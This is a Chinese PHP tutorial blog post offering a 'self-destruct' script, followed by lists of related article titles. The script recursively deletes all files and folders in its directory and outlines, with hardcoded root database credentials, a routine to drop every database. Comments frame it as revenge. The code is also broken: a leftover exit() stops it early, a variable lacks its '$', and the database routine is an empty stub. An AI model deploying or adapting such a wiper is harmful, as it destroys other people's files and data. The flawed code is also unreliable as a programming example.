PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 PHP
国外十大最流行的PHP框架排名
Jul 04 PHP
PHP中将ip地址转成十进制数的两种实用方法
Aug 15 PHP
php读取excel文件示例分享(更新修改excel)
Feb 27 PHP
PHP实现视频文件上传完整实例
Aug 28 PHP
php获取文章上一页与下一页的方法
Dec 01 PHP
php使用递归计算文件夹大小
Dec 24 PHP
如何利用http协议发布博客园博文评论
Aug 03 PHP
PHP图片加水印实现方法
May 06 PHP
Smarty简单生成表单元素的方法示例
May 23 PHP
使用PHP+MySql+Ajax+jQuery实现省市区三级联动功能示例
Sep 15 PHP
基于php数组中的索引数组和关联数组详解
Mar 12 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
php获取淘宝分类id示例
2014/01/16 PHP
可以保证单词完整性的PHP英文字符串截取代码分享
2014/07/15 PHP
PHP抓取及分析网页的方法详解
2016/04/26 PHP
php数组冒泡排序算法实例
2016/05/06 PHP
PHP多线程模拟实现秒杀抢单
2018/02/07 PHP
thinkPHP+mysql+ajax实现的仿百度一下即时搜索效果详解
2019/07/15 PHP
JavaScript与HTML的结合方法详解
2015/11/23 Javascript
jQuery UI库中dialog对话框功能使用全解析
2016/04/23 Javascript
Angularjs中的事件广播 —全面解析$broadcast,$emit,$on
2016/05/17 Javascript
原生js实现tab选项卡切换
2020/03/23 Javascript
Bootstrap 3的box-sizing样式导致UEditor控件的图片无法正常缩放的解决方案
2016/09/15 Javascript
浅谈使用splice函数对数组中的元素进行删除时的注意事项
2016/12/04 Javascript
vue中使用axios post上传头像/图片并实时显示到页面的方法
2018/09/27 Javascript
一文快速了解JQuery中的AJAX
2019/05/31 jQuery
分享8个JavaScript库可更好地处理本地存储
2020/10/12 Javascript
js实现验证码干扰(动态)
2021/02/23 Javascript
python 字符串格式化代码
2013/03/17 Python
在Python的Flask框架下使用sqlalchemy库的简单教程
2015/04/09 Python
python利用拉链法实现字典方法示例
2017/03/25 Python
python binascii 进制转换实例
2019/06/12 Python
解决yum对python依赖版本问题
2019/07/05 Python
python实现大文本文件分割
2019/07/22 Python
完美解决TensorFlow和Keras大数据量内存溢出的问题
2020/07/03 Python
Python 实现微信自动回复的方法
2020/09/11 Python
HTML5事件方法全部汇总
2016/05/12 HTML / CSS
阿迪达斯西班牙官方网站:adidas西班牙
2016/07/21 全球购物
What's the difference between an interface and abstract class? (接口与抽象类有什么区别)
2012/10/29 面试题
abstract是什么意思
2012/02/12 面试题
Structs界面控制层技术
2013/10/11 面试题
新闻专业个人自我评价
2013/09/21 职场文书
传媒专业推荐信范文
2013/11/23 职场文书
JAVA程序员自荐书
2014/01/30 职场文书
财务工作失职检讨书
2014/11/21 职场文书
分居协议书范本(律师见证版)
2014/11/26 职场文书
驻村工作简报
2015/07/20 职场文书
APP界面设计技巧和注意事项
2022/04/29 杂记